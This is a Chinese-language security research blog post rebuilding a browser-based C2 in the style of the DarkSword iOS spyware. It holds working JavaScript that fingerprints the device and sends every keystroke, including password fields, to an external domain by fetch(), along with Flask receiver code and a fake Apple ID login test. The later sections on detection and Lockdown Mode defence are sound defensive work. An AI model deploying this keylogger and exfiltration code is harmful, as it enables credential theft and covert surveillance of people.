当前位置:首页>iOSAPP>DarkSword:构建基于浏览器的 iOS 平台 C2 研究

DarkSword:构建基于浏览器的 iOS 平台 C2 研究

  • 2026-05-26 08:21:23
DarkSword:构建基于浏览器的 iOS 平台 C2 研究

官网:http://securitytech.cc

我如何重现商业间谍软件基础设施,以了解 JavaScript 究竟能从你的 iPhone 上窃取什么信息

2026年3月,谷歌威胁分析小组发布了DarkSword报告,大多数人关注的是其中的六个CVE漏洞以及零点击攻击链。但我更想了解的是:攻击者在尝试内核攻击之前,究竟能从移动浏览器中获取哪些信息?

本文记录了我构建命令与控制服务器的实际研究过程、我捕获的真实数据,以及这对 2026 年移动安全意味着什么。

⚠️免责声明:所有测试均在受控环境(Corellium)下,使用我的个人设备进行,仅用于教育目的。请勿将这些技术用于未经授权的目标。

这项研究为何重要

DarkSword 不仅仅是另一个 iOS 漏洞利用程序。它代表着移动监控方式的根本性转变:

  • 无需安装任何应用——所有操作都在 Safari 浏览器中完成。
  • 没有 MDM 配置文件——设备管理中没有任何显示。
  • 没有可见的持久性——没有图标,也没有设置项
  • 只需一个链接——轻轻一点,剥削就开始了。

在深入进行内核漏洞利用(这需要稀有且代价高昂的CVE漏洞)之前,攻击者需要进行侦察。本研究探讨的正是这一点:完全在JavaScript中发生的预渗透阶段。

实验室设置

基础设施

为了进行真实模拟的测试,我需要能够模拟真实攻击的基础设施:

云环境:

  • Corellium iOS VM(iOS 18.4 — 存在漏洞的版本)
  • 用于 C2 服务器的公网 IP VPS
  • 已注册域名:darksword.cloudportal247.site

为什么要使用真实域名?现代 iOS 系统要求敏感 API(例如地理位置、传感器和摄像头)使用 HTTPS。自签名证书无法满足要求。

本地测试:

  • Windows 11 搭配 WSL
  • Python 3.14 后端
  • 使用 Flask + SocketIO 进行实时数据外泄

域名注册

darksword.cloudportal247.site通过 Cloudflare 注册并获得了 Let's Encrypt SSL 证书。这是必须的,因为:

  1. iOS 会阻止 HTTP 请求(即使是 localhost)上的地理位置定位。
  2. 现代浏览器要求传感器 API 使用 HTTPS。
  3. 真正的攻击者会使用看似合法的域名。

总费用:域名 12 美元 + SSL(Let's Encrypt)0 美元。

构建 C2 服务器

C2架构由三个阶段组成,反映了真实商业间谍软件的运行方式:

第一阶段:静默指纹采集

无需触发任何权限即可收集设备/浏览器元数据:

Python

@ app.route '/exfil' , methods=[ 'POST' ]) def exfil ():     data = request.get_json ( )     timestamp = datetime.now ( ). strftime ( "%Y%m%d_%H M%S" )     filename = f "exfil_{timestamp}.json"     with open (filename, 'w' ) as f :         json.dump (data, f, indent= 2 ) print (f "[+] Stage 1 data received: {filename}" ) return     jsonify ( { "status" : "ok" })

收集的内容:

  • 用户代理字符串(设备型号,iOS 版本)
  • 屏幕分辨率和像素比
  • 时区和语言
  • 硬件性能(CPU核心数、内存)
  • 电池状态
  • 网络连接类型
  • 已安装的浏览器插件

第二阶段:键盘记录

捕获表单中输入的每个字符:

Python

@app.route( '/keys' , methods=[ 'POST' ] ) def keys ():     data = request.get_json()     timestamp = datetime.now().strftime( "%Y%m%d_%H%M%S" )     millis = datetime.now().microsecond // 1000     filename = f"keys_ {timestamp} _ {millis} .json" with open (filename, 'w' ) as f:         json.dump(data, f, indent= 2 ) print ( f"[+] Keystroke: {data.get( 'field' )} = {data.get( 'value' )} " ) return jsonify({ "status" : "ok" })

第三阶段:持续监测

用于持续数据收集的长期连接(在我的研究中尚未完全实现,但该端点存在于实际攻击中)。

客户端有效载荷

受害者Safari浏览器中运行的JavaScript代码功能强大得令人惊讶:

JavaScript

async function stage1_fingerprint() { const data = { metadata: { timestamp: new Date().toISOString() , collector: "DarkSword-Advanced" , version: "1.0"     }, device: { userAgent: navigator.userAgent , platform: navigator.platform , vendor: navigator.vendor , hardwareConcurrency: navigator.hardwareConcurrency , maxTouchPoints: navigator.maxTouchPoints , deviceMemory: navigator.deviceMemory     }, screen: { width: screen.width , height: screen.height , colorDepth: screen.colorDepth , pixelRatio: window.devicePixelRatio     }, geolocation: await getLocation() , battery: await getBattery()   } await fetch('https://darksword.cloudportal247.site/exfil' , { method: 'POST' , headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data)   } ); }

键盘记录器就更简单了:

JavaScript

document.addEventListener ( ' keyup ' , (e) => { const target = e.target; if (target.tagName === 'INPUT' || target.tagName === 'TEXTAREA' ) { fetch ( 'https://darksword.cloudportal247.site/keys' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' } , body : JSON.stringify ({ field : target.id || target.name, value : target.value, isPassword : target.type === 'password' , url : window.location.href, timestamp : Date.now ()       })     });   } });

每一次按键。每一个输入。实时发送。

我实际拍摄到的

测试 1:对照测试(桌面浏览器)

首先,我用我的 Windows 笔记本电脑访问 C2 服务器,验证了 C2 服务器是否正常工作。

结果:exfil_20260407_024528.json

JSON

"device" "userAgent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...." "platform" "Win32" "hardwareConcurrency" "deviceMemory" "geolocation" "latitude" 41.895292 "longitude" 12.439891 "accuracy" 97 }

主要发现:授予权限后(浏览器弹出提示),地理定位功能立即生效。精度:97米——足以识别我在罗马的建筑物。

测试 2:iPhone 在 Corellium 系统上的测试

然后我在一台运行 iOS 18.4 的虚拟机上加载了恶意页面:

结果:exfil_20260407_030453.json

JSON

  "device": {     "userAgent": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6...)" , "platform" : "iPhone" , "hardwareConcurrency" : 4 , "maxTouchPoints" : 5   },   "screen": {     " width ": 393 , "height" : 852 , "pixelRatio" : 3   } }

设备指纹识别成功:

  • 正确识别为 iPhone
  • 屏幕分辨率与 iPhone 14 Pro 相同
  • 检测到 iOS 18.6
  • 暴露的 4 个 CPU 核心

测试 3:键盘记录器

我创建了一个虚假的 Apple ID 登录页面来测试键盘输入捕获功能:

结果:当我在用户名栏输入“str”时,捕获到两个JSON文件:

JSON

// keys_20260407_044212_138.json "field" "apple_id" "value" "str" "isPassword" false , "timestamp" 1775529732034 }
// keys_20260407_044212_424.json     "field": "apple_id",   "value": "strn",   "isPassword": false,   "timestamp": 1775529732334 }

每一次按键。每300毫秒。甚至在表单提交之前。

在真正的攻击中,攻击者会在你点击“登录”之前就掌握你的全部凭证。

.ipa 实验(以及我们放弃它的原因)

最初,我计划为第二阶段(即后渗透阶段)创建一个恶意 iOS 应用(.ipa文件),以逃离浏览器沙箱。

理论如下:

  1. 受害者点击恶意链接(第一阶段)
  2. JavaScript提示:“请安装安全更新以继续”
  3. 用户下载/安装.ipa
  4. 该应用提供沙箱外的持久访问权限

我们为什么停止了

在研究过程中,我发现:

泄露的 DarkSword 代码库中已经包含了该.ipa文件,我不需要重新构建它。

更重要的是,我意识到创建一个令人信服的 .ipa 文件比编写 JavaScript 有效载荷要难得多:

  • 需要盗取的苹果开发者证书($$$)
  • 企业证书由苹果公司跟踪。
  • MDM 注册信息会显示在“设置”中。
  • 安装提示可疑

仅限浏览器的方式实际上更隐蔽:

✅ 无安装提示✅ 无可见应用图标✅ 无 MDM 配置✅ 无 App Store 评论✅ 可在任何可通过浏览器访问的 iOS 版本上运行

所以我转而专注于最大限度地发挥纯 JavaScript 的功能。

JavaScript 可以(以及不能)窃取什么

根据我的测试,完整的情况如下:

✅ 无需权限即可使用

页面加载后,这些信息就会立即显示出来:

  • 设备型号和 iOS 版本
  • 屏幕分辨率和像素比
  • 浏览器类型和版本
  • 时区和语言设置
  • CPU核心数和内存容量
  • 触控功能
  • 电池电量和充电状态
  • 网络连接类型
  • 画布指纹(唯一标识符)
  • WebGL 指纹
  • 所有 Cookie
  • 本地存储和会话存储

⚠️ 需经用户许可方可查看

这些都需要提示(但社会工程学方法也有效):

  • GPS坐标(精确到10-100米)
  • 摄像头访问权限(实时视频流)
  • 麦克风接入(实时音频)
  • 运动传感器(加速度计、陀螺仪)
  • 剪贴板内容(在某些交互情况下)

❌ 不可用(沙盒保护)

即使拥有完整的 JavaScript 访问权限,您也无法访问:

  • 已保存的密码(钥匙串)
  • 短信或iMessage内容
  • 浏览器外的照片
  • 来自其他应用程序的文件
  • WhatsApp/Telegram数据库
  • 通话记录
  • 联系人列表

这就是为什么 DarkSword 需要 6 个 CVE 漏洞的原因。浏览器沙箱机制确实有效。单靠 JavaScript 可以进行侦察,但无法获取核心信息。

按回车键或点击查看完整尺寸的图片

蓝队会看到什么

从防守方的角度来看,这种攻击会留下痕迹:

网络层

DNS 查询:darksword.cloudportal247.site TLS SNI:darksword.cloudportal247.site HTTP POST /exfil (3.1 KB) HTTP POST /keys (多个 200 字节请求)

危险信号:

  • 新注册域名(❤0 天)
  • 来自浏览器的重复 POST 请求
  • 将 JSON 有效负载发送到异常端点
  • 连续的交通模式

浏览器级别

如果开发者工具已打开(这种情况很少见):

JavaScript

[+]已接收第一阶段数据[+]已捕获按键:apple_id = s [+] 已捕获按键:apple_id = st

终点级别

Safari 网页内容:CPU 使用率高,页面后台运行网络活动频繁,持续执行 JavaScript 代码

问题在于:大多数用户(以及许多移动设备管理解决方案)不会监控这种情况。Safari 浏览器是受信任的,JavaScript 也是正常的,因此攻击很容易被掩盖。

防御基于浏览器的攻击

个人用户

1. 启用锁定模式

这是核选项,但效果显著:

设置隐私安全锁定模式

这将禁用:

  • JIT JavaScript 编译(会降低漏洞利用的可靠性)
  • WebGL 和复杂字体(会破坏指纹识别)
  • 一些传感器API

权衡:有些网站会崩溃。但如果你是高价值目标(记者、活动家、高管),这是必须的。

2. 使用 DNS 层屏蔽

屏蔽新注册的域名:

  • NextDNS
  • AdGuard DNS
  • 在家使用 Pi-hole

3. 审核 Safari 设置

设置 → Safari 浏览器 → 隐私与安全→ 阻止跨网站跟踪:开启→ 阻止所有 Cookie:开启严格但更安全)→ 欺诈性网站警告:开启

这项研究的主要启示

1. JavaScript 被低估了

安全团队主要关注:

  • 恶意应用程序(.ipa文件)
  • 网络钓鱼(凭证窃取)
  • 网络攻击(中间人攻击、DNS投毒)

但基于浏览器的 JavaScript 攻击却难以察觉。无需安装,无需持久化,仅仅是进行侦察,为下一步行动铺平道路。

2. 沙盒是你的朋友

尽管收集到了大量数据,但我却无法:

  • 访问文件系统
  • 读取其他应用的数据
  • 轻松实现浏览器重启后数据依然有效

iOS 沙箱机制确实有效。正因如此,像 DarkSword 这样的真正漏洞利用程序才会投入大量资源来开发沙箱逃逸漏洞。单靠 JavaScript 不足以进行持续监控。

3. 社会工程是薄弱环节

最敏感的数据(GPS、摄像头、麦克风)仍然需要用户许可。但人性是可以预测的:

  • “启用位置信息以获取天气信息”
  • “允许摄像头扫描二维码”
  • “授予语音搜索麦克风权限”

我们不假思索地点击了“允许”。

4. 域名年龄很重要

我的域名注册于2026年4月6日。任何检查域名年龄的DNS安全产品都会立即将其标记出来。

本研究的局限性

我没有测试的内容:

实际 CVE 漏洞利用——我只测试了数据收集,没有测试内核访问。❌长期持久性——真正的攻击会维持数周/数月的访问权限。❌ iOS 版本低于 18.4——旧版本可能具有不同的功能。❌真实的钓鱼活动——我使用的是 Corellium 模拟器,而非真实受害者。

为什么会有这些限制?

  • 在生产设备上利用真实的CVE漏洞是违法的。
  • 持续的C2测试需要我没有的基础设施。
  • 现实世界中的网络钓鱼是不道德的。

这项研究着重探讨了仅使用 JavaScript 可以实现的功能——这本身就已经意义非凡。

商业间谍软件问题

DarkSword并非学术界的奇闻异事。根据谷歌标签显示:

UNC6748(沙特阿拉伯) ——用于攻击国内目标;PARS Defense(土耳其) ——商业供应商向各国政府销售;UNC6353(俄罗斯) ——用于攻击乌克兰目标。

这就是监控的商品化。你不再需要一支顶尖的黑客团队——你只需要预算和供应商。

扩散时间线

  • 2025年11月:首次发现暗剑
  • 2025年12月:跨境业务开始
  • 2026年1月:向多个政府提供商业报价
  • 2026年3月:谷歌TAG公开披露

从首次使用到公众知晓,历时四个月。在此期间,数百(甚至数千?)个目标遭到入侵。

结论:JavaScript 是一个攻击面

建造一个类似《黑暗之剑》的C2让我明白:

  1. 基于浏览器的攻击非常有效——侦察不需要内核访问权限
  2. JavaScript 功能强大——指纹识别揭示了大量情报
  3. 沙箱机制(大部分情况下)有效——但它们无法阻止那些拥有CVE漏洞的执着攻击者。
  4. 只要知道该注意什么,就能检测到。

对于安全社区而言:切勿忽视 JavaScript 威胁。DarkSword 攻击始于浏览器漏洞利用,这证明现代浏览器是一个切实可行且被低估的攻击面。

对于防御者而言:监控 DNS、检查 TLS、培训用户。只要用心查找,这些攻击都是可以检测到的。

对于高风险目标群体而言:封锁模式并非杞人忧天,而是一种保障。

资源与延伸阅读

原创研究:

  • Google TAG DarkSword 报告(2026 年 3 月)
  • 苹果安全更新:iOS 18.7.3、26.3

使用工具:

  • Corellium(iOS虚拟机测试)
  • Python Flask(C2 服务器)
  • Let's Encrypt(SSL证书)

快速参考命令

对于想要(合乎伦理地)复现此操作的安全研究人员:

狂欢

# 设置 C2 服务器python3 server.py
# 检查域名年龄(开源情报)whois your-domain.com | grep "Creation"# 监控 DNS 查询(防御性)tcpdump -i any -n port 53 | grep suspect# 阻止域名(本地)echo "0.0.0.0 malware.com" >> /etc/hosts# 分析捕获的 JSON jq '.geolocation' exfil_*.json jq '.device.userAgent' exfil_*.json

最后声明:本研究完全在个人设备和受控基础设施上进行,仅用于教育目的。所有测试均合法合规。请勿将这些技术用于未经授权的目标。未经授权访问计算机系统在全球范围内均属违法行为

    • 公众号:安全狗的自我修养

    • vx:2207344074

    • http://gitee.com/haidragon

    • http://github.com/haidragon

    • bilibili:haidragonx

      最新文章

      随机文章

      基本 文件 流程 错误 SQL 调试
      1. 请求信息 : 2026-07-24 00:50:54 HTTP/2.0 GET : https://c.mffb.com.cn/a/488868.html
      2. 运行时间 : 0.278896s [ 吞吐率:3.59req/s ] 内存消耗:4,410.91kb 文件加载:140
      3. 缓存信息 : 0 reads,0 writes
      4. 会话信息 : SESSION_ID=4b861926daf21390218566bdbcc3114d
      1. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/public/index.php ( 0.79 KB )
      2. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
      3. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
      4. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
      5. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
      6. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
      7. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
      8. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
      9. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
      10. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
      11. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
      12. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
      13. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
      14. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
      15. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
      16. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
      17. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
      18. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
      19. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
      20. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
      21. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
      22. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/provider.php ( 0.19 KB )
      23. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
      24. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
      25. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
      26. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/common.php ( 0.03 KB )
      27. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
      28. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
      29. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/app.php ( 0.95 KB )
      30. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/cache.php ( 0.78 KB )
      31. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/console.php ( 0.23 KB )
      32. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/cookie.php ( 0.56 KB )
      33. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/database.php ( 2.48 KB )
      34. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
      35. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/filesystem.php ( 0.61 KB )
      36. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/lang.php ( 0.91 KB )
      37. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/log.php ( 1.35 KB )
      38. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/middleware.php ( 0.19 KB )
      39. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/route.php ( 1.89 KB )
      40. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/session.php ( 0.57 KB )
      41. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/trace.php ( 0.34 KB )
      42. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/view.php ( 0.82 KB )
      43. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/event.php ( 0.25 KB )
      44. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
      45. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/service.php ( 0.13 KB )
      46. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/AppService.php ( 0.26 KB )
      47. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
      48. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
      49. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
      50. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
      51. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
      52. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/services.php ( 0.14 KB )
      53. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
      54. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
      55. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
      56. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
      57. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
      58. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
      59. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
      60. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
      61. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
      62. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
      63. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
      64. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
      65. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
      66. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
      67. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
      68. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
      69. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
      70. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
      71. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
      72. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
      73. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
      74. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
      75. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
      76. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
      77. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
      78. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
      79. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
      80. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
      81. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
      82. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
      83. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/Request.php ( 0.09 KB )
      84. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
      85. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/middleware.php ( 0.25 KB )
      86. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
      87. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
      88. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
      89. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
      90. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
      91. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
      92. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
      93. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
      94. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
      95. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
      96. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
      97. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
      98. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
      99. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/route/app.php ( 1.72 KB )
      100. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
      101. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
      102. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
      103. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
      104. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/BaseController.php ( 2.05 KB )
      105. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
      106. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
      107. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
      108. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
      109. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
      110. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
      111. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
      112. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
      113. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
      114. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
      115. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
      116. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
      117. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
      118. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
      119. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
      120. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
      121. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
      122. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
      123. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
      124. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
